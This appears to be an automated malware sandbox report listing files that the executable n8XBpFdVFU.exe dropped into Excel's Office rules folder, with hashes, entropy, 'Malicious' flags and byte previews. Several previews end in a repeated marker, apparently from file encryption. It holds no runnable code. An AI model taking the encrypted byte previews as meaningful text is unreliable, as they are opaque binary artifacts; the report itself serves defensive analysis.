Preview:	<?xml.')...$....M=..CK#.m.>.1...{.P...$.6^.Or6..f..s..B.c.>d..u#....7m.&o.YB.6v..XW.v.w7'&.x.de.../9....%.=.E.m.....m.4..Y...k..=.(Z..O!.8..;............Vo.7'.1...%....4....y......^9.).R...{..~v.J...... ..y.)..=.L..4..@..by..\...3..G..ttp.6....`.N.u4...M\.V.._.b...4+F^..y/..=..<."/..0...=$..G...SbPC~.rD...xV..Q..+...^a.X9G.J. .u.K.cl..5.0..[.t...(...64~.q..Rp........C...2..gq.. /.m.>.OE... 4I..}#;....p.[..d...'}.?.J._...C{t.........El...... .aki:..Q...Bl.h*......h..c.g..8}..]....Ri._.....q..a..w........F...0..h.a...x.y.M.?.i.)0...S.#w....[......#..]\....K\G.....,.9...!..xv...l.=......s..p.Y4.(.. ...[...b9...D.f. ..m..@4.+%.$Y.C....F9.!A.Wt...([.JSA..f.+O..mSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.918923315824329
Encrypted:	false
SSDEEP:	48:iiSJUajADiTfoHTT8qnxNIdbqSaLrOiBnkGPtbdtkKuzljjdpXoD:iisUajA2TfMokx0qJLrTkC7V4dpE
MD5:	859A6728A853746632AACE6FA90B14EC
SHA1:	CC68D1E517A2D8F0BE56D1C85F236ED427A8AE81
SHA-256:	215E7E4F4C0023D9A522952BA6CC5F1B9750780B9B623EE80B88B561A00EE153
SHA-512:	B108CAABBA5AB1FEC1E104538EBC1ECBA75951C8B8A9A377C410628ACB7A6D9E0D06CE19A07DA0AD17CFD49C3CD606DFD5166F3B2253ABF71DBAD628A1AEB883
Malicious:	false
Preview:	<?xml..A7e./(....&".H.`..~bN...Mg.....K..Hi..X.B[..r..7:e..p.(..[..F..W...)b.A...W...VY.Z..&.3..~.#a...+/..Zd..aP..".Y.$..p....N. .e.E$_.Cw.To.......G+=^,O....J...k.<.". /.y..\..;.!h..?.Y!..5....!.1....z=...3.<...../.00..{.w......:F..J.b.:LR9DOb+...4....u..$.....N..GSDY\|x.f.n%B;.3..'..E.[./......F_....rV.......5...2...u. ..........O...WF......QK..4.}B.I.p.;a....N.4........_9a=.v.....k.C...&K....8U-.Z}QY;..1........Z.w..zl!...L.'._.8........i..^.!...,.........c.R.j.....q~...<.h)..:Q..1.......y.#.C.i.:oc......4...>....G.z8..5.x.....+ 4K.k.U~k.......s.#...Q...(!/:..6...T.k.2....g.m..7g.. ..3....m..X... dY...}.P..gVf<.....8@.AJm...G.P)....#..g.h.J....p.Se.q..].Yp.t.;~G..."Z...f....@..a..^.g.....X`.L.O.7...d]Dt..Q@.~.... ..ms.L.t)M8F..B.d.s....j.!..5... ..3.+.@._...^.?.&....ic..d ..;.~(:g..U..7....F.q.u6..]]cU..]..../2l.(.%.MN.;_..8LU...h....."..".~:FE..R7.".f.$.y..7...{&.......^.0BB4..sz.r.;.....-.....r.G....-o~E.Vnu<..Z.X.phQ.o[.r.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.995758805835091
Encrypted:	true
SSDEEP:	768:ur/ZpSx8qiKfi7jSoTSfxjhmajOECKLcoPaTpvWmlxBi6QPT+u6S2oecR:uFp9h7jSUilhmaj1CD1Tc+i6KT+cecR
MD5:	226FCAB6CD57B69CFEB38F8D4267006A
SHA1:	862E88DC78100C0F1A328AFE5F4C2A4BE9273606
SHA-256:	A260F5713A60696369CDAE805E49A59423D03527D34CACF53A26E1EAB93FB64E
SHA-512:	BABEC68F90A4BCC68EB557FB8EF19B7B7A8BB1E7C3E08D9B7DD0ADF81DC428416902EFFAD78167B4F44D7484A19D429974369682825D840B3D03DD28B3EC82B7
Malicious:	true
Preview:	<?xmlE..}.#m.....r.....2...7.....b.\|i..@.gxM...}..[..T{.#@.%........?{.k..xa1..YrD..}..........H.%..'....%.g.,.j!".8~.7.~?...:.n....../.....N{x!..J...qi,.H/..T.+..c.O....O.....j..;.Aq>.@k.ff.....a.....-...@1.7_..%H...vH#...x.P.Y[(..BE......Z.H.....R)M.y..{.s.SC...I1.Sx.^.........k..!b{....4."?.P..z.$./2.bb..{.).\|.....Lf.z%wH`$.{/.!..Le...t...2....c..F.7.y..<&L.S.^....8.J..!.6F.'%....uC...;.5..)L.3G.y...9o..sY.Z..zJ... ^......~.-!..q...@.....K..y+..4n%.K..:&.I...x .6........t...\.\[2.b.u..b... ..94..=.....q.y3^..Ka.....'f.......(&B6...~..o.......V..t.U...\Q.,Xj.m.J.......?...,g..... .Q...1.ZA..9......{......EG.E.Q..+..}3....).~.H.n...(.C./.(4<c.....&.%.;hX..k/...;.,.-s...c..D_qi.Wq%...~-.qa?..0...~1.2Y*S..>.^:........N.6.$B.L.+.8.@..vz.c....:...!.\|.zR...$..dD?......(...R......k."..$...Y..Q.>..bA/n=p.2qQ..'...q.Jj.I..7)V..Pw)&,._}[...1Ip.t.1~...t~C-.vS.)..C.Xre..y..6....b!l.....%K..J...U.9frb....6\|.<...]t.;..v.U...2B...\......l.....ui..}Y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.916132944934422
Encrypted:	false
SSDEEP:	48:JcZf2SQIs8VL/1cp5iK5sN1pe1Bdbpk13Ji6p38i02jHX6KyhVD:E2m1cpAd4tbpEgviTqf
MD5:	682074E4D8D7CF013267E5905BB10A4D
SHA1:	9579F4BB7306FEFBA92D3A7A5200363BF04799B5
SHA-256:	8B4C038DC2D39723B8DB596FE55BBFEAFC8D83FADE02B656E503470817D1965F
SHA-512:	A324D94043B4A3D43E8E92A205DB7091FE844845FC9E1FC6AE7D8E52578FD1FA370FAD815E4E2C4B186D0AB44A675006F58ABEFD647ECB67BEA95056E7B1440D
Malicious:	false
Preview:	<?xml.`.v..v...QIq.'..<J..0`tt0S..f...-........>.=.......3..%..o8.d...y&...y...i ...~....f3...c..~5.....\|....3..`..:..y.[4.G.6d.}..k`.cTJ......k........M.e%.U....n`..D.....)g...VSB..h.?....vA........V6{.D..A.. ..U..a."@].Y.C..0....v......s..9x...Q.Oy.lK...L.=..d)......a............6....b .4.y/...i..n.N.. .....{...h.[7..k..J.-...h.P2f.. ?..,....#.....VtR\|..C...D...-[..9.B..+`.c.-`..(.=$....b_f8>.bU...:..4..Hm.D.Uq..H.>.!F..........z.S....%9.)......{....=..i@...l5...W!7k.@...r!.^..lVe$A.%r.-.:.O...l.<...#;..e..4.KL.=.....".Tf.@.!Y.......g+*..a.YJ. }...@..].........'@...yC....H...\|..p....L..0.}...-3.8..Y..+.]/.Ijp/.....I:o9.8o...vYP.e}." >.Y...~...8..M<4..[q...5...]\|..j.x .2..5.;.)....YW@........x.-.sJZ.....av..U..I.5.B1.3[...b.;.p...n......&nx.i3....7......&.\.Y=...ea.....o..(0}.W.bYa.7Tn..%o.)([..k....^...../..~..AW......N....D.d.\|..4..Q1..,,mQ+P....n.a..a.Ok.K&Y..5.r.Y.!D....@..t.-..0.+....=\z......>....J.G.09..E.^.y.aK4.8...!65..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.911147391451095
Encrypted:	false
SSDEEP:	48:kNdRPe/9VQYAeNKWPtXk/KEHzF27+QpW/A0qkZMHDCYsRdy4MgI60D:kpPok/aD8KszMZg/A0qrHDCFRdyQIx
MD5:	1053390988D455BCBEB05125489B51DB
SHA1:	4B56F9DDB18BAC8AB2493CF6F78ADD1156E04BB0
SHA-256:	B11ECEED03E2A3C8378191A6D918A5740E7571D65783C7A205F928A7E1D4C769
SHA-512:	68A6ECC343D4C60D072E0CDA3EB8B3CC691E725D584E9A7F0E7ADA58A7FAE6720576DC330F7BDD717BC6F9C767D9E8C8BCE22B31B36785B997D9CCD1EA52A55A
Malicious:	false
Preview:	<?xml. D....!..z...4<.h.`.b....:h.;....Q#\|..._..R.X8g...a....\..5U'.q....5..\|...E?.@[x.G.C......7y.a..28....a...~.F7.F...apk.pj.;.;.G.E.p.r0.-P/".Q..P...g..r_.Q\.......d.........d...")7.0.....V..N.\|0.A..Ny..Z.....G....M.O3.U7.....m.........O.[....f-.N ..X.k&.\g.l.)d.q...".W.W..V......G.}.y=...#.$.+Qn..D0...M.h..........._.L.i..ZE....f.OEYH..p{..@.w...........\3../^.].Z cK^4e.n.W.....Q...6.S..}...u.om.4y......z...B.Yz. .O.S6.V.S...1n..'vHh..h.G.7.GE.~e....\.....pm....W......b.pm._k.:1...j.......6..p8.....LH...Z.\<.;.g.d/a..Bdg^..5."...k.Q.:.KHV..@.I.u.ao+.c.....%O%V...1d..(..T._.R.c.$<..P..h.TuB...;..-a.#.j.r..c!...j.O8.}_...f..v8'7.[.w..r.$......55"..=/....I..a'...>t..P[..&@.K.\mH....E.I. ..X.F...}......M....5"..gZ.umjEC.....p4.?6(+9.IM..K..k...0i%.=H ..R..J.l0.gy,F>..r.U.B@Q.Z..2;....R..Ujr2o@...y....&.&kcU.U.E......l\).Q..ZH.ua....X.=Et......c1..V.f.5..jZ.........-..^...$2...6....&.R.?........$&.L..gE..*].].".j..Z)`in.1...y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.995499469217197
Encrypted:	true
SSDEEP:	768:XjW7RjfwJb2WxLUH+fxyyi27aeIA4Ie2x8/mWqFa06iucU6ZRrRbIY2:XjW9joJb2WxLUoyyiw4zmWBD618Y2
MD5:	1CDA3FFB66D9C2F6EF270A410D51F9F8
SHA1:	8C3492354C78CC7FCC70708CFD7DF84DD65D9B07
SHA-256:	DB8002FDDC9952681B5A8408F846C9EE4AAF20EBB39C73DF934E1DBB8EEB402D
SHA-512:	5AFA2CAF0A492F840073065843E3524164E4CAE1E6A678CBD1E5CEEFE41809E600911F3C8672D6EAF9FC5B63CEDE6B05458A256F1336EF7E28D6E1616AB81931
Malicious:	true
Preview:	<?xmlj.k..'....?...{.+.d..O`...C..g..`.C.. ...d..2....y%..KEO..$..@Qx.[1.j..pr\|..T.J..B.U.D...S.7 ..6.......$...QN..y..)rZ.)...yLi.g..wY...R@. ...k.........N..B.Oys.....{M..2~x.R.%t...#<7..E.>?SS.]..v.....G[.D..!...+...-...q..R@.4PM.......#qd.:7d..c..Z.ClM.."A5.a:F..HmTk{V..U.....wq\|....r...9W.g........r.........#...wu..,~.<&..2....F........@..Yv..OI?eH.M.?[<...3..[..S`n.KMa.r........Q.Ah.z..r@\|.7..,.#...z...X.v\..@....^.=`..%(......2uAV..w 4..;J..uM.u`.!...\|..vS-.{.xQj...k.,...9'.n"..>9W...Z..u..uZ..e.;.t y....._...l..................S..;......'+._..i..o.{.O....k.E.h[....\...".("...x..oh.\?.D......Ng....5.h../...Y.8...=...;. V....SI.\|.z.goK..<..".d...Z.Y.....R...Z.....tM..U..m,.-........*s...FQ<......L\|K....{^......@._.U.Jy...8.I.:.........~.J.g...?...@.s}j.s..t...M@...^..z.E...Q.(s.....6W...V .6o.]..Z."..:....3T..>-..:.x..t.t..7.E....h.6....^....<.....^...0....(..c.e-.^).a.E\|c..b..?.o......C.N."..`l.i0....mF....Uy...h.d\|..yB...h..A.j......H.......:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.733318863122044
Encrypted:	false
SSDEEP:	24:Fj/cEKrjO14VmeoY4SRdaWvqYC6zj5gDbD:OEKjO14EXLSvaWvqEj5gXD
MD5:	3738116499C59504E8780E7C37FEBC7E
SHA1:	4FE7DB2D845EA4B4E67FE156204EE8124AB0066C
SHA-256:	6B06DC15BF1F96625EF3883076AB8968A595111745D374D3B47CB32E9CDDF802
SHA-512:	61F8DACAB4994E37A5D5A32E24D33C958D237A362059BCDBB6D794F638122ED5488743232A9C4DDFB26EC542BBE4205F788B3A0A913B9D90875C0D5BB7EA2C89
Malicious:	false
Preview:	<?xml.(...n(........L..3....2.GF.J.....7}.K[...S.d..O.=.{......=.pA3..O ..z.%t........zl..X......e?.".1h.1J.P.x...OB.px.#\|U.=e.....8'.s..m.V.../X.4.j]D...{.=M.j........Q....N.JZ0..._V./......z... \|....`...[<n.............!..3..}y...\|......!.bQ.8..S...[5F.{X.z...d}..&d.+.......6yw.;....Z%L...D.( ..q.o.7...V%....x..Y.l.e.....LOT.x.Eun.F...%l..pi.N...P.'0."....AE....u...SV07...-...P..PA..../.a.X..1....l..:..._3O......{..\|...GyE....h%.p.K...f\..y..Y@.....e...0..W.tk$...^`..{..S.JZ.'1K..-2N.X...e..R6.et..d...>...BH..l.../L..R..B..c..lK!i........b..\|..k..........I.(..?.G..'.&..d.B..a.,E.(..Z#n..P.....u....!.d\|........n.<[8I%/.i5Z.B.;&...5..Z...,l .tA.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.711332124445535
Encrypted:	false
SSDEEP:	12:Ut1/iFA3yZ9z4fOoTGiU1j1XDrPizBah+sMkxTMYwQM1Kc+ckHTDWYBis1+cii9a:UP/iFAiZ9z4fHCZ1X2AMc3wQ4DkHTDl4
MD5:	9E0A6672B9F44B6B5C1228E1296460EE
SHA1:	FAA352D3A79F3898C53D99A1040588C0EDDA650D
SHA-256:	26CC20B37EAC13217ECB939C04A040C2608D714F2CCD300914D73987F908352F
SHA-512:	F72730849C8CC3F74ACA21C9F352F6CDABD9A3EAD9BD278CE9A90EC081644D647D2868D709F45186C9F05762F4639086726C34539BF0FF2FB19FF572A16F4CA9
Malicious:	false
Preview:	<?xml<.x....6!...#....?..1..Q..ni..._....W.D)...<csz..F..=....9..l1?r{@.T....?..2/..5S.....GY..Z...6054.x....2....SI.g...)F.E.c...h....,.."....(.'..Hm...\...cu>...L(}:......T...C.6..k......J\|..KMO%....+`..`.{.b...K.....e...&>Y}..h...O[.f.J.o.`..XMG.O.4..]..."..A8.H........<8VC...Y......^.X...f..Je.N..iBDT....."2.j...}..g...:..V.s.+6K.F'...p....JW;.fl..Z....:H..#.9.\|.S...]$.PQ...Q1.}.3Z....fMI\|.O.........=G..i..\|.N.7...@.bR,..&.......].....GO`......p.T...c.{\|.5...Xw...r.i0.4. .3KC...4P.w.e1.R.........AD)$........]..)..?)(u>..1.p).s..B.=<.........H.g...2z3.V-.(%s...K......g..9........ ....o>.h.e?..L...}..Q..."....G6.....D..Gf...T?....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.857451594712158
Encrypted:	false
SSDEEP:	24:X9J+bv/ZRdrzsAkLzI+69WT2RGiVHBTb463/P64vOwJJMeTjlObD:XX4v/inhiIiVHn/P6apJJTvGD
MD5:	E842A7D12CACB32689791BF97401A562
SHA1:	A58ECE507A3FB548894967EA08DAD0B73811BCF7
SHA-256:	013A507B9723793D3715BE04678B62BFDC4A7C003E11A8886D582B7C9A2A6DAC
SHA-512:	34C402B324BD5E56733AC72E3E03D73ACE8BB68E1C711D205771648BB62B3B53A4FA6ED58916F061BCA438B7897C5FD80671B064AF0F68989D8D94F5C4AE2DED
Malicious:	false
Preview:	<?xml...E%_[..W.......jx......<...P....Y1;VM..I.....(P...f....yv.aD..Lk..B.";...95..y..[.9S.O..u...@...0b..k]i......f.....bn..lOh9F.?.P.....G;..&g........,..%s.ty;aX...:E....z.....PC...G..N...mGN....i.P..A.....a......~b.-..x....d..nH..9P?k-9...R..Oza.."...H.dO. 1.....y~...[X..@U..<.....q...w.V.;M.....v.>...W.1..........%.....1Q.IQZ..G. e.J.o.O.%h.....jhX.mh..E...D...!..Q../f=.9..}..Q.-c3R.8...\|g.7.t..#+..Fc.@...T......n2K..B.P.Nj.V`....4...@.(..s....^.q.\|.....x@n.3..u....\Few....P._.j.....m/.....K..^;.L.i.2.....+n.q!.?.O. qP.Y..P]t'.t.5...n..A.0d..Z....0..........L.!......ZnK....{h.Yu#.....}9....8....o..#&..P..A.....^9.]..y.Hd.V.!..%.g.-...I.x.........g....D1....6......a.#..H.*.D.v...'.u..a.q.$:6Plc2...x^.{ .b-2...E..{.P%\..Ip..Xv........?z....v.d...".k'Ko...%n!....~...z{4P!..N'.X,.BQ@..0......@.#...&.nP^......)..0x&S=....Cx.5..p..psgp4..$..o.=..............8....pA.RD../NgJ.\j....S..q....`..u.+.B..u=.S.@.B..H...,fa.@E.H`>....X.......U...C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.778282186130928
Encrypted:	false
SSDEEP:	24:+ljsox2h0sjF+X5BV9A+kuM/V+8ZxrxPAckFIXCDbD:+lwox28DV9NNM/4QFAdIXMD
MD5:	F13A387F75C2F23CADECD7BEE7495868
SHA1:	C3B62D7CB42DB51E222F9414F576420284477DE3
SHA-256:	3186CEAE399C9DD033094D0E4C96902CD943B1AE3C7F4910F9A0F2D749174FCF
SHA-512:	52BB0C996E76395138B1BD0F6757572C2481AD0C5682291A5E7983A6F21C09A2115B5D687AD07E2804873B68EF86E1151B049CAC36BABF81520705BF6D2656B5
Malicious:	false
Preview:	<?xml.....1....X.-I1!@].X......D.{........?k....)..~-S.m...1.@F.XJf.-N.7.....X4.....8.n...6............;.KL.$/.N..i.{...H(F^..S.%.m....Ar....\|.;k.....s...%....w77iL"/.$.n..y6VP.."..M..i9..........K..a......N.6..79...;.K..fh....[OJp./.....{..lMT..G6..&..uy.2....$....GOz....[\-.......SW.#a..>c.../....PG...K...:...D,.............O.\....!..3....=Y..fj.R..P....1._M..5..2.4...u.-.@.$.g.....gi...a#...v...z....iT3-.U].B..=d1..@..R.}.`...r..s.$......4;.. f.G....B5.@..+...p.J.....g.m.TD..^.,I."c".......CM.^.N....L@.el...._.u...eI.3G.....l.e..)y#..Nz...O=..1a\..R..iq.<.....1.......-P.AH..z......p.G.aq.......A1..f.......6..x....P.1..b.9S.7l............<..$.&\..._._p.(Yf@wS.&....b..&.G.I....!...s..?.....WA..J...S....T.. .....p...~.%E.3..3V....4C......b$..!.....*.st!.e.cOd....F..~.~...p..g6.(...vN..F...N....u.........7Wp<.M..hv..M..Z6.ds,p.....1..b..c.0.T.RSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.8211173412196215
Encrypted:	false
SSDEEP:	24:DBkQ9byv1xsv9M453QNfs2U4w/xijc3GSdJbg6AbD:DVUNxs1x53GNHwZwiG4UD
MD5:	1150208D904510217DB48A39D5BE2CBB
SHA1:	A56E687F92812890B915F59C7E58304E47DB98A4
SHA-256:	2B86E74E26F519BC8D4443124D55C41BFDCBB14AD80F98DF7517261C0BEBCE61
SHA-512:	8D9E77C08F7EF5CFEDCE933A840B99CF5B6CBA91228B766F94503AABD4DFF4F1984C9E9A12D57B3EAE34E7535970CC03DE7D486A59ABCC19FB9D8F43B9DA22D9
Malicious:	false
Preview:	<?xml..(..../..z.\|G-.'..o..[.-vN...!.....!..h%]U....:..eb$.].5u...,u,....zK...7]{.m%B...J.s..^.Y.N.:.g.....}ki...,.fP.0..0..y\..!...d.....O...u.....u.#.)....T..ve.g..h.;...6....KA}P..........k.n.7\..X_.?.y..d. ....c..t...)T/o.qS..>..S...o........?'..j..e.7F..=&..%..x.r).<..w.:2":.....{..{.Z.f...!..f.wh\...d.......#.\...e.z.L.L..>..z..6w.F}ND{.z.......M.G.....y.....!.^..J.#.(...+/6.-+.J{..=..\|....6m. ...r.qX!_.8J.......3\l.`>N..+@ =.J\[..Y.jk..g..;..&H.....B.I.[.....}C=M.d.\...}.8..l........~.g.@$Kj.m..m....vr....s.E........:5v.....9...p.v..O............;]......^.,MI..;l.`[C.o..WwS.......v.m...v>>..$.U.y..)......;.d.m.`3.....x<,C.=.'...,..y.#qr..o....x.T....a.....z.....4../Z._..qO....SO\_.M......`.]).....$SP.R.k?...7......V.. ...X....5..;;)V:.gaf...9<.Zd.Z...r.w...R....I.\.p[..kW.H..c...`.L^/......b..}..Mb;1[..e.a*n.."..x.....Sw+.X.;..y..[?..$.:.n.r....`l..T\.Y,.x..HSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.81255778942059
Encrypted:	false
SSDEEP:	24:QuDtp/neZpbrF8c2+I4u3fb/9dMSxJMJE/FW3eDbD:Qu3veHOF+I7vb/HMSjMmFW3gD
MD5:	87B7969B2F854EB4295F8BBC1413D56F
SHA1:	895EAF03605361E8E552174AB029EA7A6E363463
SHA-256:	AC085D42D24140BBB01707C52D3D0233E91BBE7D9D0AE1DB1F507CF38303AC49
SHA-512:	460A041B6565F10484B8ADF8B0F231C805ABBFF251A4819A224E61BA09BE011D7DF650A6114181E557B2A429F30B7C7111655F39B97093A57FA745C86FE05967
Malicious:	false
Preview:	<?xml-J.".d8..{...%..=.K:.%..H;.u.~.!..ba....;.Tu?...(..E.!w.e...\r..:.........$..S,G.,.[..Ra..q...6.mM......E..%..<.a...S.Ts.x!G........\|p.}.fR&..?..SC]......9.w.k...\|....z$U?.m.29..k.,..m....^.EO.v..l...L....`.i..........u..O....px\$.....={WmV..N.&...<.. .9G{.e.R..-...@.. ..v.[..gdY......0.%0..>..,\|..........E2..:F..0c..c....0...P).@.q.f0...z..q..G....\....#J.e.,..B.8..S..3%..5.M.m{.z..M......td.nf.H.N..PX[]...M.P.:.?.....h....@bb.w..Q...\f....+..Xv..8.w..A}..Y8U..(X.\.?."#..E...mG...j.u.i6.p.z..t...'e7..._B..M....Q2._D.b..u..@...}B.-.=.(.Z.A.W..,.......z....g.(.V..R..yu.%K.W..&.n..2..../...t.].C.gh..94....C....W-.%.!.....;+.,..b.......!.7G..... ..2...H....f..,...._..z.(.q.~./...=.d\%..a3..f.6..s...r.-.Io....4/...O....C.M.Z.}..S=..a....}.....7.K........b.R:......c.q...$=..^...\.bo.{.2..x.I-#......0HY...#Y.Q...+#....+v.@k?'-^Y....6M...>.MO~r. (?O.......S.v.J......mmF....[$.iG..=.^.E...7..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.871342655904711
Encrypted:	false
SSDEEP:	24:sOFAm98zOe5Wo8lz/CvrYsaTMIuytKOpdg13y7MD8ptOePxUJCsQ3xxmsgZpCxUX:vFAm98ijRIMQOMRoMAP/DsQ3X6vD
MD5:	7C20DC8AE07761C273586B794A68F8A5
SHA1:	90954784B129F31FA4EFC69B3E6819A5547680F8
SHA-256:	B9B4946F42352F2989C380852325F62FC72C78CE8511942CF0EEA2A6FA261578
SHA-512:	C395C20CE11B072EA5F32EF526338CBC120411980E5D432F470F88EB0BBFA2BC1E9EE05D7C27B391AC2B32A65321E55E66591B4F7487C21D2B8406DAB679171B
Malicious:	false
Preview:	<?xml.<..j.......k.I...d....@E....N..k..w...H6G...Q.......).f....?.y...8r.>Hn..N.pTz..F....>)...H.Z.,...$.`.Cbn...Q...'.=.3S.+..g....).......l.)T[.........L.."....E.3h.6...+.?-..rV.0.......K.....r......:...D...[t. F...vO..?.<&S.\......n.$....d...us. '...hA....L..U._.......p.J3..u.B(.....e.=.k....[..'U....Y%.0\].L.....A.4.Y...V.jB&.^.l.^.[....r.......l...n...^\|V...x.N.Nv."...i........f..t..U^Z.....h......@a.~..W...Nd.hSc..Q........&....FI....:....pP....Fm...h..y...r./...N...61..9@`".lj.yi....wy....kR.3#e..C.I&.......bvc..@.r}F...&..un ..EF....8e.a..M..$w........u...@2.z....[..<J...6.O........h..S.Ca\...;..P... ..9y.g..yF..]..z=.....Dy6.&..z;`..3.....2.....m.2...>d.....}b.v..Cb5....C...Y...\Zq.... ^ZI.......`.'.-'.$.'.a.........pD...8.PT..=Q...g+...J..N..c.8..9....[..Z.. ..I.7].6.....3.."$\ ...SD.C.XT....&.......6{...D.......D..{...G.......]W.Sf.....).O._.Q..M.Aij........W.B..h/.....D..x.....Z..G.%b..y$w.(o..T...%..*#...P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.8681457844035485
Encrypted:	false
SSDEEP:	24:aIRgkoSOeXOsC+amSrLGiTy7hsQ80EbtNJydDCK/MF7b+NpxzaRnwhUIJq3p7v8r:amxooFafSjJD9u7yulJB3VJ2D
MD5:	2D118B7033F0B884B9023890665882C2
SHA1:	3A29497F33574DFFB8F828627ABA1EE0A12FCCA0
SHA-256:	10FCAF0A046F9078CDC54DBFB1D5A7F3D7373B40A74A1ADCF093BFC7225437E4
SHA-512:	84588086F5A59087BC2B096DABE0F74A2BA5AA05757B851106E0F82999F3992C1F54167A5D0B58B44C92CF243D7B84B61009CBD7DBCC0324D673C14895C98A33
Malicious:	false
Preview:	<?xml..g..G...r.$..\.. s...l).].!!...+.p1..-.Vp.4cF.m.E.....w.9..&..w.(........5.]..SL.J2.8..m0..:$..y....\|..,.r...cj@.\M....`=...Ck.....Zi1.. .%..M?...7I.K...".U...X...e.#.>n.2.....s.....'%..RHB..kd..:......b).....(.....5..Z..v.Z5a>W......(.l..qf..!....W...s(Sy...n-...v..E.#'...3...mk ZQ.g....X.R...9.T(....x.~.x.........&.M...v.f..\|.........4......z.C.}..m..F..>.....\|.D4\..t..G.7.Y..f[...r..../bm.....K..s..\..S..h....z....M.A.5..`@s...w.P.~..S..4..6...+....}s.....b..K..~.N...I`....!6..6....s.) 2{9..m....sL........r.....?7..k..... ."g...x..../....NB.....c..bN.b.@\|..h..........i.~.S#...{.V.q....,-Y.-D..,....z.8......A...]7k3i.&.....&1..6s.b80./l...M...k.\|3.n..7.s0C...n...dr.......1..uk..^..S.X..,3A...d.Zh. .OH.R..B......C...g..L..K.3.y.d......j:.Y..uJ..HL.....8m."d..;....j...}.3o.........Ez.....t)....9......HEIB..pK%&~.....nKI..C....h..o..k.{<.r.D.CmFO...o.L`..m>.]6#..b.a^.#........g=.YW...M............N.'....X'...u..-w...a.PR=.6^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.768288690442785
Encrypted:	false
SSDEEP:	24:0AwuG2y+zpe+Kaqn/BvpekMGbQSDir+4HKvo08qbD:0ADy+zpe+M/BAXGbQXVqvJ8ID
MD5:	E0B92B91DFDFB31F427E3B13BEC3D891
SHA1:	6ECCCAE89A42A2EC9904BDAE8930BBF645DC908C
SHA-256:	0D032630557DBF29BEC198AF45C0EFA54AB6CBE6E34B9BCA9922E87C3931D62E
SHA-512:	8C703E0248B36EECC23EDE5D167002A8EBD59279D8499298ED194FD5E73F119F4BD85AE4E6A5C8E1CD20040E298819F902A5B52441BDF04DF33BFF0E76B96503
Malicious:	false
